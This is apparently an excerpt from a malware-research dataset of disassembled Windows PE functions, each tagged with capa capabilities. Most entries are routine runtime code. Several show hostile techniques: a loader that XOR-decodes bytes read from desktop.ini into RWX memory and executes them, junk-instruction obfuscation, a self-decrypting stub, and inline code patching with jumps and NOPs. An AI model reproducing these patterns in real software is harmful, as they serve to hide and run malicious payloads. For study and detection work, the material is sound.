joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x43b65a
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x43b3c1
push 0xe196ed0f
pop edx
call fcn.0043b684
add edx, edx
xor dword [ebx], ecx
add edi, edi
mov edx, edi
inc ebx
inc edi
cmp ebx, esi
jne fcn.0043b65a
mov edx, 0xfcae0b8c
or edx, edx
ret
Function at 0x401769
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4017a8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4017a8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4017a8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4017a8
cmp dword [ecx + 0x74], 0xe
jbe 0x4017a8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407784
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415590
push 0x415588
push str.FlsAlloc
push 0x1e
call fcn.00407645
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4077b8
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
jmp 0x4077be
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407802
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155a0
push 0x415598
push str.FlsGetValue
push 0x20
call fcn.00407645
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407839
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40ad3c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40add9
push ebx
push esi
call fcn.0040ad05
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ac4e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40ad86
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40add8
push edi
push eax
call fcn.00407f37
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40ada6
call fcn.004074d8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40add7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ac4e
add esp, 0x20
test eax, eax
jne 0x40adc5
push edi
call fcn.004074d8
jmp 0x40adcd
push ebx
call fcn.004074d8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x412d50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412d7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412d7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4065c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4065e7
xor eax, eax
test eax, eax
je 0x4065f9
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4065f9
xor ecx, ecx
jmp 0x4065fc
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4066e8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232e4], 0
push esi
jne 0x40671f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066f9
mov dword [ecx*4 + 0x4232e0], eax
inc ecx
cmp ecx, 0x100
jl 0x4066f4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406750
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232e0]
xor eax, esi
inc ecx
dec edx
jne 0x406732
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40d5b8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040803b
mov dword [ebp - 0x14], eax
cmp dword [0x813de0], esi
jne 0x40d6ab
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d638
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d78b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d78b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d78b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x813de0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x813de4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x813de8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x813df0], eax
test eax, eax
je 0x40d6a8
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x813dec], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d6d0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d6c3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d6e5
push 4
pop eax
jmp 0x40d78d
cmp dword [ebp - 0x14], esi
je 0x40d6e5
push dword [0x813de0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d6ca
mov eax, dword [0x813dec]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d743
cmp dword [0x813df0], edi
je 0x40d743
push eax
call ebx
push dword [0x813df0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d743
test eax, eax
je 0x40d743
call ecx
test eax, eax
je 0x40d738
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d738
test byte [ebp - 8], 1
jne 0x40d743
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d773
mov eax, dword [0x813de4]
cmp eax, edi
je 0x40d770
push eax
call ebx
test eax, eax
je 0x40d770
call eax
mov esi, eax
test esi, esi
je 0x40d770
mov eax, dword [0x813de8]
cmp eax, edi
je 0x40d770
push eax
call ebx
test eax, eax
je 0x40d770
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x813de0]
call ebx
test eax, eax
je 0x40d78b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d78d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040433c
mov esp, ebp
pop ebp
ret
Function at 0x100016d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ebp + 0xc]
xor edx, edx
push ebx
movzx eax, al
mov dword [ebp - 0x14], edx
push esi
mov esi, dword [ebp + 8]
test eax, eax
jne 0x100016f8
xor al, al
jmp 0x10001714
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
test eax, eax
setne al
mov byte [ebp - 8], al
mov bl, byte [esi]
test al, al
je 0x10001732
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push ecx
push dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.10040e3d
mov esp, ebp
pop ebp
ret

Function at 0x10001750
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, byte [ebp + 0x10]
mov dword [ebp - 0x14], 0
push ebx
mov bl, byte [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test eax, eax
jne 0x1000178c
mov byte [ebp - 8], al
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne al
mov byte [ebp - 8], al
mov byte [esi], bl
test al, al
je 0x100017c5
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10040e3d
mov esp, ebp
pop ebp
ret

Function at 0x100017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, byte [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
shl eax, 2
mov dword [ebp - 0x14], 0
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jne 0x1000181f
mov byte [ebp - 8], al
mov dword [esi], edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne al
mov byte [ebp - 8], al
mov dword [esi], edi
test al, al
je 0x10001858
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
Function at 0x10002350
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006d3c0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100a9114]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10040c15
mov esi, eax
add esp, 4
test esi, esi
je 0x100023b0
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.100402e4
add esp, 4
mov dword [esi + 4], eax
jmp 0x100023b2
xor esi, esi
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005820
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, byte [ebp + 0x10]
xor edx, edx
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov byte [ebp - 0x18], cl
mov esi, eax
movzx ecx, cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jne 0x1000585a
xor cl, cl
jmp 0x10005875
lea edx, [ebp - 0xc]
mov dword [ebp - 0x10], ecx
push edx
push 0x40
push ecx
push eax
mov dword [ebp - 0x14], eax
call ebx
mov edx, dword [ebp - 0x14]
test eax, eax
mov eax, dword [ebp + 0xc]
setne cl
mov byte [ebp - 8], cl
mov ch, byte [esi]
mov byte [ebp - 0x1d], ch
test cl, cl
je 0x10005898
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
push edx
call ebx
mov eax, dword [ebp + 0xc]
mov ch, byte [ebp - 0x1d]
movzx ecx, ch
sub ecx, 0xe8
je 0x10005949
sub ecx, 1
je 0x10005949
sub ecx, 0x16
jne 0x10005930
push dword [ebp - 0x18]
inc eax
push ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.100016d0
add esp, 8
cmp al, 0x15
je 0x100058ce
cmp al, 0x25
jne 0x10005930
mov eax, dword [ebp - 0x24]
xor edx, edx
mov esi, dword [ebp + 0xc]
shl eax, 2
add esi, 2
mov dword [ebp - 0x14], edx
test eax, eax
jne 0x100058e7
xor al, al
jmp 0x100058ff
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call ebx
mov edx, dword [ebp - 0x14]
test eax, eax
setne al
mov byte [ebp - 8], al
mov esi, dword [esi]
test al, al
je 0x10005919
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push ecx
push dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push edx
call ebx
mov ecx, dword [esi]
mov eax, edi
mov dword [edi], ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
mov dword [edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
lea esi, [eax + 1]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
shl eax, 2
mov dword [ebp - 0x14], ecx
test eax, eax
jne 0x1000595f
xor al, al
jmp 0x10005977
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call ebx
mov ecx, dword [ebp - 0x14]
test eax, eax
setne al
mov byte [ebp - 8], al
mov edx, dword [esi]
mov dword [ebp - 0x1c], edx
test al, al
je 0x10005997
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x18]
push edx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push ecx
call ebx
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
lea eax, [edx + 4]
add eax, esi
xor ecx, ebp
mov dword [edi], eax
mov eax, edi
pop edi
pop esi
pop ebx
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
Function at 0x100059c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100aa267], 0
push esi
push edi
je 0x10005af5
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add eax, 0xe6b45e
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
push 1
push ecx
mov eax, esp
mov dword [eax], esi
lea eax, [ebp - 8]
push eax
call fcn.10005820
add esp, 0xc
push 1
push 0xe9
push ecx
mov eax, esp
mov dword [eax], esi
call fcn.10001750
add esp, 0xc
lea eax, [esi + 1]
lea ecx, [eax + 4]
mov edx, 0x10005b70
sub edx, ecx
push 1
push edx
push ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.100017e0
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add esp, 0xc
add eax, 0xe6b463
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 1
push esi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0x90
cmp byte [ebp - 0xc], 0
je 0x10005a8c
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call edi
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add eax, 0x4e98cd
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 3
push esi
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x18], esi
call edi
test eax, eax
mov eax, 0x90909090
setne byte [ebp - 0xc]
mov word [esi], ax
mov byte [esi + 2], al
cmp byte [ebp - 0xc], 0
je 0x10005b52
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
push 1
push 6
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xc7
push eax
mov eax, dword [0x100aa24c]
push ecx
add eax, 0xe6b45e
mov word [ebp - 0x1c], 0
mov ecx, esp
mov word [ebp - 8], 0x4689
push eax
mov byte [ebp - 6], 0x10
call fcn.100030c0
call fcn.10007ac0
add esp, 0x10
lea eax, [ebp - 8]
push 1
push 3
push eax
mov eax, dword [0x100aa24c]
push ecx
add eax, 0x4e98cd
mov ecx, esp
push eax
call fcn.100030c0
call fcn.10007ac0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
Function at 0x10005bb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100a9114]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100aa264], 0
push esi
push edi
je 0x10005d37
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add eax, 0x5499f3
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
push 1
push ecx
mov eax, esp
mov dword [eax], esi
lea eax, [ebp - 8]
push eax
call fcn.10005820
add esp, 0xc
push 1
push 0xe9
push ecx
mov eax, esp
mov dword [eax], esi
call fcn.10001750
add esp, 0xc
lea eax, [esi + 1]
lea ecx, [eax + 4]
mov edx, 0x10005ba0
sub edx, ecx
push 1
push edx
push ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.100017e0
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add esp, 0xc
add eax, 0x5499f8
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 1
push esi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0x90
cmp byte [ebp - 0xc], 0
je 0x10005c7c
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call edi
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add eax, 0x54d8d0
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
push 1
push ecx
mov eax, esp
mov dword [eax], esi
lea eax, [ebp - 8]
push eax
call fcn.10005820
add esp, 0xc
push 1
push 0xe9
push ecx
mov eax, esp
mov dword [eax], esi
call fcn.10001750
add esp, 0xc
lea eax, [esi + 1]
lea ecx, [eax + 4]
mov edx, 0x10005b90
sub edx, ecx
push 1
push edx
push ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.100017e0
mov eax, dword [0x100aa24c]
lea ecx, [ebp - 8]
add esp, 0xc
add eax, 0x54d8d5
push eax
call fcn.100030c0
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 1
push esi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0x90
cmp byte [ebp - 0xc], 0
je 0x10005d97
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
push 1
push 6
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x89684189
push eax
mov eax, dword [0x100aa24c]
push ecx
add eax, 0x5499f3
mov word [ebp - 0x1c], 0x5c51
mov ecx, esp
mov dword [ebp - 0x28], 0x8b5449ff
push eax
mov word [ebp - 0x24], 0x5441
call fcn.100030c0
call fcn.10007ac0
add esp, 0x10
lea eax, [ebp - 0x28]
push 1
push 6
push eax
mov eax, dword [0x100aa24c]
push ecx
add eax, 0x54d8d0
mov ecx, esp
push eax
call fcn.100030c0
call fcn.10007ac0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10040e3d
mov esp, ebp
pop ebp
ret
Function at 0x10006850
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov byte [0x100aa261], 0
mov byte [0x100aa262], 0
mov byte [0x100aa263], 0
mov byte [0x100aa264], 0
mov byte [0x100aa265], 0
mov byte [0x100aa266], 0
mov byte [0x100aa267], 0
mov byte [0x100aa268], 0
mov dword [0x100aa26c], 0x4b
mov dword [0x100aa274], 0x50
mov byte [0x100aa27c], 0
mov byte [0x100aa27d], 0
mov byte [0x100aa27e], 0
mov dword [0x100aa280], 0x54
mov byte [0x100aa288], 0
mov byte [0x100aa290], 0
mov byte [0x100aa293], 0
mov dword [0x1008e068], 0xc7
mov dword [0x1008e06c], 0x3e99999a
mov byte [0x100aa291], 0
mov byte [0x100aa292], 0
mov dword [0x1008e064], 0x3f800000
jmp fcn.10006910